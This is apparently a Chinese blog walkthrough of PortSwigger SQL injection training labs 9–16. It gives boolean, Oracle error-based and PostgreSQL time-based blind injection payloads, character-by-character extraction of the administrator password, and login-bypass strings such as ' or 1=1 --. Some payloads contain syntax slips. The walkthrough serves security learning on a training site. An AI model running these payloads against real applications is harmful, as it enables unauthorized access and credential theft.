portswigger靶场SQL注入实验(下)

  • Post author:
  • Post category:其他




实验9

在这里插入图片描述

在这里插入图片描述

点击了home之后页面给了回显,猜测后面进行盲注的时候要利用此回显来判断,打开bp吧

在这里插入图片描述

注入点在trackingid这,简单判断一下

在这里插入图片描述

在这里插入图片描述

存在注入,下面判断一下是否存在表users,表里是否存在名为administrator的用户以及密码password有多少字符

在这里插入图片描述

为真,存在users表,接着查用户

在这里插入图片描述

后面判断password的长度

在这里插入图片描述

大于1为真,扩大点看看

在这里插入图片描述

大于30无回显,长度应该是小于30的,具体多少跑一下payload吧

在这里插入图片描述

在这里插入图片描述

选择number范围1-30

在这里插入图片描述

到20,在确定了密码的长度之后最后做的事情就是跑出这个密码的内容

在这里插入图片描述

用substring()函数从1开始每次扩大1来跟后面的a-z,0-9做对比,找出每一位返回为真的值组合在一起就是密码

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

排出来就是密码了

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
y s l j q 8 w g 3 r q s 7 x d j 9 1 q t

ysljq8wg3rqs7xdj91qt拿去登录即可

在这里插入图片描述

在这里插入图片描述



实验10

在这里插入图片描述

有暗示看一眼

在这里插入图片描述

在这里插入图片描述

应该是这块内容

在这里插入图片描述

在这里插入图片描述

单引号语法错误,闭合正常,所以结合题目可以使用构造语法错误来进行攻击

暗示既然说了这里是oracle数据库,那我们根据oracle数据库的特性不妨验证一下

' || (select '') || '
' || (select '' from dual) || '

在这里插入图片描述

在这里插入图片描述

通过验证确定为oracle数据库,后面还像实验9那样判断表,用户名,密码字段数及具体内容

' || (select '' from users where rownum =1) || '
rownum=1 防止查询的时候返回多行

在这里插入图片描述

接下来回过头来看看刚刚备忘录上的条件错误语句

' || (select case when (1=1) then to_char(1/0) else '' end from dual) ||'
when的条件成立时,会执行then后的内容,若不成立,则返回else后的内容

在这里插入图片描述

执行成功1/0报错

下面验证是否存在目标用户

' || (select case when (1=1) then to_char(1/0) else '' from users where username='administrator') || '
有一点需要注意,SQL语句的先判断where后面的内容,也就是说如果此用户不存在或者1=1不成立的时候返回状态码都是200

在这里插入图片描述

返回错误,即存在该用户

' ||(select case when length(password)>1) then to_char(1/0) else '' from users where username='administrator' || '
' ||(select case when length(password)>2) then to_char(1/0) else '' from users where username='administrator' || '
....

判断密码位数,可以直接用payload跑,这里我猜几个实验都差不多应该都是20位

在这里插入图片描述

' || (select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator') || '

跟上个实验一样拿payload直接跑

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

老样子排个序就好了

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
0 7 0 q 9 7 s 2 1 n z t o c 2 9 g c o g

070q97s21nztoc29gcog拿去登录即可

在这里插入图片描述



实验11

在这里插入图片描述

看眼暗示

在这里插入图片描述

查看清单

在这里插入图片描述

四个不同类型的数据库的延迟语句,我们只要确定了是哪种并且成功延迟,本实验就完成了

在这里插入图片描述

MySQL正常返回,下一个

在这里插入图片描述

白了

在这里插入图片描述

10秒成功延时

在这里插入图片描述



实验12

在这里插入图片描述

应该是在上个实验的基础上,查询信息,所以数据库类型应该没变

在这里插入图片描述

验证一下有条件延迟语句的作用

' || (select case when(1=1) then pg_sleep(10) else pg_sleep(-1) end) -- 

在这里插入图片描述

成功延时

' || (select case when(1=2) then pg_sleep(10) else pg_sleep(-1) end) -- 

在这里插入图片描述

正常显示

利用when里面的条件判断用户名

' || (select case when(username='administrator') then pg_sleep(10) else pg_sleep(-1) end from users) --

在这里插入图片描述

成功延迟即存在

' || (select case when(username='administrator' and length(password)>1) then pg_sleep(10) else pg_sleep(-1) end from users) --

在这里插入图片描述

盲猜还是20长度

唔~自己私底下偷偷验证一下就好了…

' || (select case when(username='administrator' and substring(password,1,1)='a') then pg_sleep(10) else pg_sleep(-1) end from users) --

直接payload跑

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

这个版本的burp我没找到调线程的位置,跑出来都是一样的看不出来时间长短,裂开

不过做法就是这样

在这里插入图片描述

缺个这玩意



实验13

在这里插入图片描述

这个我选择先放这,有点复杂,过段时间再来研究



实验14

同13一样,看着挺复杂结合了XXE,后面时间充足了会研究然后补更



实验15

在这里插入图片描述

按照要求带入‘ or 1=1 – 就行了

在这里插入图片描述



实验16

在这里插入图片描述

在这里插入图片描述

绕过登录就行

administrator'or 1=1 --
即可绕过

在这里插入图片描述

一整天人都麻了,后半部分实验做吐了快,暂时就这样了,溜了…



版权声明:本文为m0_51313985原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。